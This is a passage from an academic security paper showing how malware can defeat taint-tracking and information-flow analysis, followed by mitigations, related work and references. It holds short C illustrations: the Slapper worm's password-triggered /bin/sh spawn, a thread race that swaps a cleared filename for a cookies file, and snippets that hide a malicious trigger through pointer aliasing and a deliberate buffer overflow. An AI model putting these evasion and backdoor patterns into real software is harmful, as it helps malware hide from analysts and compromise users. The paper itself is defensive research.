We ran this synthetic example on a real machines using two different implementations of taint tracking. For conciseness, we only present the results for the taint tracking that uses 2 bits of taint with each byte of data, similar to [38], with all taint tracking code inlined, as this minimizes the number of instructions for taint tracking and hence the vulnerability window. On a quad-core Intel Xeon machine running Linux 2.6.9 SMP kernel, we found that chances that the `open` system call executes with the corresponding pointer `fname` marked "safe" (i.e., untainted) varies from $60\% - 80\%$ across different runs. On a uniprocessor machine, the case is even worse – the success probability is between $70\% - 100\%$. The reason why this happens is because the transformed benign thread reads the taint for `fname` on line 9 and sets the control context to tainted scope, before executing the original code for performing conditional comparison on line 10. The malicious thread tries to interleave its execution with the one of the benign thread, trying to achieve the following ordering:

```
X : read taint info (fname) // safe, benign thread
    ...
```

```
read(soc_cli,temp_buff,10);
if(!strncmp(temp_buff,PASS,strlen(PASS))) {
   execl("/bin/sh","sh -i",(char *)0);
   closeall();
   exit(0);
}
```

Figure 2: Slapper worm: shell spawning upon successful authentication.

```
    write taint info (fname) = "unsafe"
    write fname = "/home/user/.mozilla/default/.../cookies.txt"
    ...
Y : read (fname)            // benign thread
```

If such an ordering occurs, the data read by the benign thread is “safe” as the benign thread has cleared the taint previously, while the data read contains an attacker controlled value about user browser cookies. In practical settings, the window of time between X and Y varies largely based on cache performance, demand paging, and scheduling behaviour of specific platform implementations. Finally, it is worth noting that the attacker could improve the likelihood of success by increasing the scheduling priority of the malicious thread and lower, where possible, those of benign thread.

4 Analyzing Future Behavior of Malware

Several strategies have been proposed to analyze untrusted software. Broadly speaking, these strategies can be divided in two main categories, the ones based on *static* analysis and the others which adopt a *dynamic* analysis approach. While static analysis has the potential to reason about all possible behaviors of software, the underlying computational problems are hard, especially when working with binary code. Moreover, features such as code obfuscation, which are employed by malware as well as some legitimate software, make it intractable in practice. As a result, most practical malware analysis techniques have been focussed on dynamic analysis.

Unfortunately, dynamic analysis can only reason about those execution paths in a program that are actually exercised during the analysis. Several types of malware do not display their malicious behavior unless certain trigger conditions are present. For instance, time bombs do not exhibit malicious behavior until a certain date or time. Bots may not exhibit any malicious behavior until they receive a command from their master, usually in the form of a network input. Again, some malware may not execute their malicious payload unless they receive a certain password known to the attacker, as illustrated by the Slapper Worm (variant C) [8] code snippet of Figure 2. In fact, unless the dynamic analysis is able to provide the right input, i.e., the password represented by PASS, the *true* branch will not be taken and the malicious behavior will not be exposed.

In order to expose such trigger-based behavior, Moser *et al.* in [1] suggested a technique that combines the benefit of a static and dynamic analysis. Specifically, they taint trigger-related inputs, such as calls to obtain time, or network reads. A dynamic taint analysis is used to discover conditionals in the program that are dependent on these inputs. When one of the two branches of such a conditional is about to be taken, their technique creates a checkpoint, and keeps exploring one of the branch. Subsequently, when the exploration of the taken branch ends, their technique forces execution of the other branch. Such forcing requires changing the value of a tainted variable used in the conditional, so that the value of the condition expression is now negated. A static analysis, more specifically, a *decision procedure*, is used to generate a suitable value for this variable. Their static analysis also identifies any other variables in the program whose values are dependent on the changed variable, and modifies them so that the program is in a consistent state[5]. We observe that this analysis technique has applicability to certain kinds of anti-virtualization or sandbox-detection techniques as well. For instance, suppose that a piece of malware detects a sandbox (or a VM) based on the presence of a certain file, process, registry entry, etc. We can then taint the functions that query for such presence, and proceed to uncover malicious code that is executed only when the sandbox is absent.

[5] This is required, or else the program may crash or experience error conditions that would not occur normally. For instance, consider the code `y = x; if (x == 0) z = 0; else z = 1/y;` If we force the value of x to be nonzero, then y must also take the same value or else the program will experience a dive-by-zero exception.

Since the underlying problems are undecidable in general, the static analysis used in [1] is incomplete, but seems to work well in practice against contemporary malware. This incompleteness can be exploited by a malware writer to evade detection, e.g., as noted by the authors of [1], a conditional can make use of one-way hash function. It is computationally hard to identify values of inputs that will make such a condition true (or false). More generally, malware authors can force the analysis to explore an unbounded number of branches, thereby exhausting computational resources available for analysis. However, their approach will discover this effort, and report that the software under analysis is suspicious. A human analyst can then take a closer look at such malware. However, today's malware writer places high value on stealth, and hence would prefer alternative anti-analysis mechanisms that do not raise suspicions.

We now present an attack to defeat the analysis presented in [1] that, (i) it is able to hide malicious code from being discovered and thus analyzed, and (ii) does not raise any suspicions during analysis. Our attack targets the information flow analysis used in their technique as shown below:

```
int tab[65536]; // A global array in .bss -- init to 0.
int *p, *q;
...
// Assume that somewhere in the code, p is initialized to &tab[30000]
...
void procInput(void) {
      int i, j;
      read(soc_cli,&i,sizeof(i));
      read(soc_cli,&j,sizeof(j));
      if ((i >= 0) && (i < 65536))
         tab[i] = j;
      ...
      if (*p != 0) // Note: *p will be tainted only when i == 30000
         malicious_code(); // either a call or its "unrolled" version
}
```

Note that `*p` will be tainted only if the input value read into `i` has the value `30000`, corresponding to the subscript of the array element pointed by `p`. In a sense, `i` serves the same role as `PASS` in the Slapper example. Note that if we had used `tab[i]` instead of `*p` in the above attack, the technique of [1] would have figured out the hidden malicious code (as `i` is tainted, and the proposed taint-tracking mechanism also tracks situation where tainted data is used in address computation task). In general, however, there is no practical way for static analysis to accurately track runtime values of pointers such as `p`, and so it cannot be expected to discover `&tab[i] == p`.

One may claim that the above behavior, where a tainted value is written to a location indexed by another tainted value, is unusual and should be considered suspicious. In reality, its occurence is quite common. A program that uses a hash table to store inputs will exhibit this behavior: the hash value and the stored data will both be tainted. Other examples include programs that receive lookup tables over the network (e.g., compression tables), and programs that compute certain statistics (e.g., histograms) on their input.

Further Obfuscation using Memory Errors. We point out that the above idea of hiding program behavior based on aliasing is quite general and robust. While it is known that, generally, a precise alias detection in presence of general pointers and recursive data structures is undecidable ([18]), the results described in [37] show that determining precise indirect branch addresses statically is a NP-hard problem in the presence of general pointers. However, if a conservative alias analysis is used, all potential aliases could be found, although it is quite likely that a number of false positives would be reported. To counter detection by an alias analysis, the above attack can be modified to incorporate *memory errors*.

```
int tab1[65536], tab[65536];
int *p, *q;
...
// Assume that somewhere in the code, q is updated to &tab1[61536-k], and p to &tab[30000-k]
...
void procInput(void) {
      int i, j;
      read(soc_cli,&i,sizeof(i));
      read(soc_cli,&j,sizeof(j));
      if ((i >= 0) && (i < 65536))
         q[i] = j;
      ...
      if (*p != 0) // Note: *p will be tainted only when i == 34000
         malicious_code(); // either a call or its "unrolled" version
}
```

In this adaptation, by providing a value of 34000 for `i`, an attacker can induce a buffer overflow past the end of the array `tab1` pointed by `q` to write into the array `tab`. However, this possibility is hard to infer (or rule out) using a static analysis. Since alias analysis usually assumes the absence of memory errors, this modification of the attack would be hard to detect even when alias analysis is used.

More generally, static analyses tend to make optimistic assumptions about the program being analyzed, e.g., the absence of memory errors. Malware can evade such an analysis by violating these assumptions.

Hiding Malicious Payload Using Interpreters. As a final point, we note that the malicious payload need not even to be included in the program. It can be sent by an attacker as needed. We can use the techniques described above to prevent the malware analyzer from identifying this possibility.

One common technique for hiding payload has been based on code encryption. Unfortunately, this technique involves a step that is relatively unusual: data written by a program is subsequently executed. This step raises suspicion, and may prompt a careful manual analysis by a specialist. Malware writers would prefer to avoid this additional scrutiny, and hence would prefer to avoid this step. This can be done relatively easily by embedding an interpreter as the body of the function `malicious_code()` in the attack described above. As a result, the body of the interpreter can escape analysis. Moreover, note that interpreters are common in many types of software: documents viewers such as PDF or Postscript viewers, flash players, etc, so their presence, even if discovered, may not be unusual at all. Finally, it is relatively simple to develop a bare-bones assembly language and write an interpreter for it. All of these factors suggest that malware writers can, with modest effort, obfuscate execution of downloaded code using this technique, with the final goal to hide malicious behavior without raising any suspect.

5 Possible Approaches for Mitigating Evasion Attacks

The discussion herein faced does not aim to be exhaustive. As previously stated, our focus is to better understand the capabilities of the attacker against the emerging generation of information flow based defenses, especially where malicious software is involved. This is a necessary step to improve our understanding of the attacker capabilities in current deployment scenarios, and set the stage for the development of more robust defenses against malware.

Generally, as we have seen so far, there is the need to deal with the following problems: false positives (FPs), and practical difficulties in program analysis (e.g., alias analysis, memory errors), especially for binaries.

While FPs can be tolerated in a malware analysis setting, the problem is that malware may deploy anti-analysis techniques, such as deliberately introducing aliasing and memory errors, to conceal their malicious behavior in an analysis setting (see Section 4). At this point, since the underlying problems are generally undecidable, and approximation heuristics might not give the wanted result, one might think to reason in a different way: sooner or later, the malicious behavior *has to* be disclosed, as the malware wants to fulfill its malicious goal. Therefore, it is reasonable to apply existing memory errors countermeasure on end systems to catch whenever a memory error vulnerability is exploited. Although existing memory errors countermeasure techniques have been shown to be effective on protecting benign software ([5, 16, 9, 3]), they might not be so effective when dealing with untrusted malicious software. Malware's authors have no restriction on the malware code structure, which can thus can be shaped in such a way to help the exploitation process without raising any alarm: even only one byte of corrupted memory, in the malware address space, can allow the execution of arbitrary code, as shown in Section 4. Another direction would require a more comprehensive analysis. An approach similar to the one proposed in [1], which does not rely on any information flow-based technique would probably do (e.g., [6, 19]). Unfortunately, beside having to deal with complexity (state explosion) and overhead penalties, it is going to miss some malicious behavior anyway, as the approach will encounter the same difficulties described in Section 4.

On the other end, FPs cannot be tolerated in dynamic monitoring setting, nor is it acceptable to use less FP-prone techniques that ignore covert channels. Some options that remain at this point are:

1. Simply assume that (a) all data written by untrusted code is tainted (i.e., not trustworthy), and (b) all data written by untrusted code is sensitive if any of the data it has read is sensitive. Note that for stand-alone applications, these assumptions mean that all data output by an untrusted process is tainted, and moreover, is sensitive if the process input any sensitive data. In other words, this choice means that fine-grained taint-tracking (or information flow analysis) is not providing any benefit at all.

However, this could be an interesting solution to explore for applications that share their address space with untrusted components (e.g., browser and plugins). Without going into much details, the approach recently proposed in [39], in order to eventually catch code dynamically generated by the untrusted component (and thus associate this code with the untrusted context execution), marks the whole code section of the untrusted component with a special label. Subsequently, every output of an instruction executed by the untrusted component retains this label. It does not seem that the strategy proposed in [39] further use this information except to discriminate whether unknown code belongs to an untrusted component. However, if the code that executes in browser context, at a particular sink is operating on a data pointer `p` which has been labelled and whose referent (`*p`) refers to sensitive data, this might indicate an indirect manipulation perpetrated by the untrusted component. It is not clear whether FPs (and how many) such a solution may generate, but it is an interesting solution and a direction to further explore.

2. Impose additional restrictions on the structure of untrusted code and the APIs that it can access. For instance, if we limit ourselves to untrusted code written in Javascript, the higher level nature of the language and the ability to limit access to system APIs will considerably simplify information flow problems. Unfortunately, the resulting technique will not be applicable to the vast majority of untrusted software that is available only in binary form.
3. Impose additional restrictions on memory areas accessed by untrusted code by using fine-grained memory access control mechanisms (a research direction can be given by [12]). For instance, if we had a clear map of what resources are shared between an host application and untrusted modules loaded in its address-space, then we could at least constraint low-level attacks that aim at corrupting memory locations provided by the host application. Of course, relying on annotations and manual intervention should be avoided. A powerful technique should be able to infer these boundaries automatically.
4. Develop practical quantitative information flow techniques, i.e., techniques that can estimate that a program leaks a certain number of bits of information, rather than simply stating whether there is any leak at all. Such an appproach may allow us to better manage the tradeoff between FPs that arise due to control dependence and implicit flows and the attacks that become possible when we ignore them.

Simple type of implicit flows could be addressed by a more precise taint analysis. However, as shown in Section 2, things get more complicated in presence of aliasing. A conservative approach will raise too many FPs, while a more precise one will be probably fragile.

6 Related Work

Information flow analysis has been researched for a long time [4, 13, 10, 22, 36, 23, 28]. Early research was focused on multi-level security, where fine-grained analysis was not deemed necessary [4]. More recent work has been focused on language-based approaches, capable of tracking information flow at variable level [24]. Most of these techniques have been based on static analysis, and assume considerable cooperation from developers to provide various annotations, e.g., sensitivity labels for function parameters, endorsement and declassification annotations to eliminate false positives, etc. Moreover, they typically work with simple, high-level languages. In contrast, much of security-critical contemporary software is written in low-level languages like C that use pointers, pointer arithmetic, and so on. As a result, information flow tracking for such software has been primarily based on runtime tracking of explicit flows that take place via assignments.

Recently, several different information flow-based (often known as taint analysis as they are concerned with data integrity) approaches have been proposed [15, 38, 7, 17, 30]. They give good and promising results when employed to protect benign software from memory errors and other type of attacks [15, 38], by relying on some implicit assumptions (e.g., no tainted code pointers should be dereferenced). The reason is because benign software is not designed to facilitate an attacker task, while malware, as we have seen, can be carefully crafted for this purpose.

Driven by the recent practical success of information flow-based techniques , several researchers have started to propose solutions based on taint analysis to deal with malicious or, more generally, untrusted code. The last year, these techniques ([1, 11, 39, 35, 29]) have been facing different tasks (e.g., classification, detection, and analysis) related to untrusted code analysis. Unfortunately, even if preliminary results show they are successful when dealing with untrusted code that has not been designed to *stand* and *bypass* the employed technique, as we hope the discussion in this paper highlighted, taint analysis is a fragile technique that has to be supported by new analyses, to be really effective while coping with untrusted code.

7 Conclusion

Information flow analysis has been applied with significant success to the problem of detecting attacks on trusted programs. Of late, there has been significant interest in extending these techniques to analyze the behavior of untrusted software and/or to enforce specific behaviors. Unfortunately, attackers can modify their software so as to exploit the weaknesses in information flow analysis techniques. As we described using several examples, it is relatively easy to devise these attacks, and to leak significant amounts of information (or damage system integrity) without being detected.

Mitigating the threats posed by untrusted software may require more conservative information flow techniques than those being used today for malware analysis. For instance, one could mark every memory location written by untrusted software as tainted; or, in the context of confidentiality, prevent any confidential information from being read by an untrusted program, or by preventing it from writing anything to public channels (e.g., network). Such approaches will undoubtedly limit the classes of untrusted applications to which information flow analysis can be applied. Alternatively, it may be possible to develop new information flow techniques that can be safely applied to untrusted software. For instance, by reasoning about quantity of information leaked (measured in terms of number of bits), one may be able to support benign untrusted software that leaks very small amounts of information. Finally, researchers need to develop additional analysis techniques that can complement information flow based techniques, e.g., combining strict memory access restrictions with information flows.

References

[1] A. Moser and C. Krügel and E. Kirda. Exploring Multiple Execution Paths for Malware Analysis. In *IEEE Symposium on Security and Privacy*, pages 231–245, 2007.

[2] A. Nguyen-Tuong and S. Guarnieri and D. Greene and J. Shirley and D. Evans. Automatically Hardening Web Applications Using Precise Tainting. In *In 20th IFIP International Information Security Conference*, 2005.

[3] B. Cox and D. Evans and A. Filipi and J. Rowanhill and W. Hu and J. Davidson and J. Knight and A. Nguyen-Tuong and J. Hiser. N-Variant Systems: A Secretless Framework for Security through Diversity. In *Usenix Security Symposium*, 2006.

[4] D. E. Bell and L. J. LaPadula. Secure computer systems: Mathematical foundations. Technical Report MTR-2547, Vol. 1, MITRE Corp., Bedford, MA, 1973.

[5] Sandeep Bhatkar, R. Sekar, and Daniel C. DuVarney. Efficient techniques for comprehensive protection from memory error exploits. In *14th USENIX Security Symposium*, Baltimore, MD, August 2005.

[6] Cristian Cadar, Vijay Ganesh, Peter M. Pawlowski, David L. Dill, and Dawson R. Engler. Exe: automatically generating inputs of death. In *CCS '06: Proceedings of the 13th ACM conference on Computer and communications security*, pages 322–335, New York, NY, USA, 2006. ACM.

[7] Shuo Chen, Jun Xu, Nithin Nakka, Zbigniew Kalbarczyk, and Rav ishankar K. Iyer. Defeating Memory Corruption Attacks via Pointer Taintedness Detection . In *DSN '05: Proceedings of the 2005 International Conference on Depen dable Systems and Networks (DSN'05)*, pages 378–387, Washington, DC, USA, 2005. IEEE Computer Society.

[8] Symantec Corporation. Linux.slapper.worm, September 2002. Updated: February 13, 2007.

[9] D. Bruschi and L. Cavallaro and A. Lanzi. Diversified Process Replicae for Defeating Memory Error Exploits. In *3rd International Workshop on Information Assurance (WIA 2007), A pril 11-13 2007, New Orleans, Louisiana, USA*. IEEE Computer Society, 2007.

[10] D. E. Denning and P. J. Denning. Certification of programs for secure information flow. *Communications of the ACM*, 20(7):504–513, July 1977.

[11] M. Egele, C. Kruegel, E. Kirda, H. Yin, and D. Song. Dynamic spyware analysis. In *Usenix Tech Conference*,

2007.

[12] Úlfar Erlingsson, Martín Abadi, Michael Vrable, Mihai Budiu, and George C. Necula. XFI: Software guards for system address spaces. In *Symposium on Operating System Design and Implementation (OSDI)*, 2006.

[13] J. S. Fenton. Memoryless subsystems. *Computing Journal*, 17(2):143–147, May 1974.

[14] J. A. Goguen and J. Meseguer. Security policies and security models. In *IEEE Symposium on Security and Privacy*, pages 11–20, April 1982.

[15] J. Newsome and D. Song. Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits on Commodity Software. In *Proceedings of the Network and Distributed System Security Symposium (NDSS 2005)*, 2005.

[16] G. S. Kc, A. D. Keromytis, and V. Prevelakis. Countering Code-injection Attacks with Instruction-set Randomization. In *CCS '03: Proceedings of the 10th ACM conference on Computer and communications security*, pages 272–280, New York, NY, USA, 2003. ACM Press.

[17] Jingfei Kong, Cliff C. Zou, and Huiyang Zhou. Improving Software Security via Runtime Instruction-level Taint Check ing. In *ASID '06: Proceedings of the 1st workshop on Architectural and sys tem support for improving software dependability*, pages 18–24, New York, NY, USA, 2006. ACM Press.

[18] William Landi. Undecidability of Static Analysis. *ACM Lett. Program. Lang. Syst.*, 1(4):323–337, 1992.

[19] Andrea Lanzi, Lorenzo Martignoni, Mattia Monga, and Roberto Paleari. A smart fuzzer for x86 executables. In *SESS '07: Proceedings of the Third International Workshop on Software Engineering for Secure Systems*, page 7, Washington, BC, USA, 2007. IEEE Computer Society.

[20] McAfee. W32/hiv. virus information library, 2000.

[21] McAfee. W32/mydoom@mm. virus information library, 2004. `http://vil-origin.nai.com/vil`.

[22] J. McLean. A general theory of composition for trace sets closed under selective interleaving functions. In *IEEE Symposium on Security and Privacy*, pages 79–93, May 1994.

[23] A. C. Myers. JFlow: Practical mostly-static information flow control. In *ACM Symposium on Principles of Programming Languages (POPL)*, pages 228–241, January 1999.

[24] Perl. Perl taint mode. `http://www.perl.org`.

[25] Tadeusz Pietraszek and Chris Vanden Berghe. Defending against injection attacks through context-sensitive string evaluation. In *Recent Advances in Intrusion Detection 2005 (RAID)*, 2005.

[26] Thomas Raffetseder, Christopher Krügel, and Engin Kirda. Detecting system emulators. In *ISC*, pages 1–18, 2007.

[27] Panda Research. Mal(ware)formation statistics, 2007.
`http://research.pandasecurity.com/archive/Mal_2800_ware_2900_formation-statistics.a`

[28] A. Sabelfeld and A. C. Myers. Language-based information-flow security. *IEEE J. Selected Areas in Communications*, 21(1), January 2003.

[29] E. Stinson and J. C. Mitchell. Characterizing bots' remote control behavior. In *GI SIG SIDAR Conference on Detection of Intrusions and Malware & Vulnerability Assessment (DIMVA)*, July 2007.

[30] G. Edward Suh, Jae W. Lee, David Zhang, and Srinivas Devadas. Secure Program Execution via Dynamic Information Flow Tracking. In *ASPLOS-XI: Proceedings of the 11th international conference on Architectural support for programming languages and operating systems*, pages 85–96, New York, NY, USA, 2004. ACM Press.

[31] Peter Szor. *The Art of Computer Virus Research and Defense*. Symantec Press, 2005.

[32] TrendMicro. Bkdr.surila.g (w32/ratos). virus encyclopedia, 2004. `http://www.trendmicro.com/vinfo/virusencyclo/`.

[33] Amit Vasudevan. *WiLDCAT: An Integrated Stealth Environment for Dynamic Malware Analysis*. PhD thesis, The University of Texas at Arlington, USA, 2007.

[34] V.N. Venkatakrishnan, Wei Xu, Daniel DuVarney, and R. Sekar. Provably correct runtime enforcement of non-interference properties. In *International Conference on Information and Communications Security (ICICS)*, December 2006.

[35] P. Vogt, F. Nentwich, N. Jovanovic, E. Kirda, C. Kruegel, and G. Vigna. Cross-Site Scripting Prevention with Dynamic Data Tainting and Static Analysis. In *Proceeding of the Network and Distributed System Security Symposium (NDSS)*, San Diego, CA, February 2007.

[36] D. Volpano, G. Smith, and C. Irvine. A sound type system for secure flow analysis. *Journal of Computer Security (JCS)*, 4(3):167–187, 1996.

[37] Chenxi Wang, Jonathan Hill, John C. Knight, and Jack W. Davidson. Protection of Software-Based Survivability Mechanisms. In *DSN '01: Proceedings of the 2001 International Conference on Dependable Systems and Networks (formerly: FTCS)*, pages 193–202, Washington, DC, USA, 2001. IEEE Computer Society.

[38] Wei Xu, Sandeep Bhatkar, and R. Sekar. Taint-enhanced policy enforcement: A practical approach to defeat a wide range of attacks. In *USENIX Security Symposium*, August 2006.

[39] Heng Yin, Dawn Song, Egele Manuel, Christopher Kruegel, and Engin Kirda. Panorama: Capturing system-wide information flow for malware detection and analysis. In *Proceedings of the 14th ACM Conferences on Computer and Communication Security (CCS'07)*, October 2007.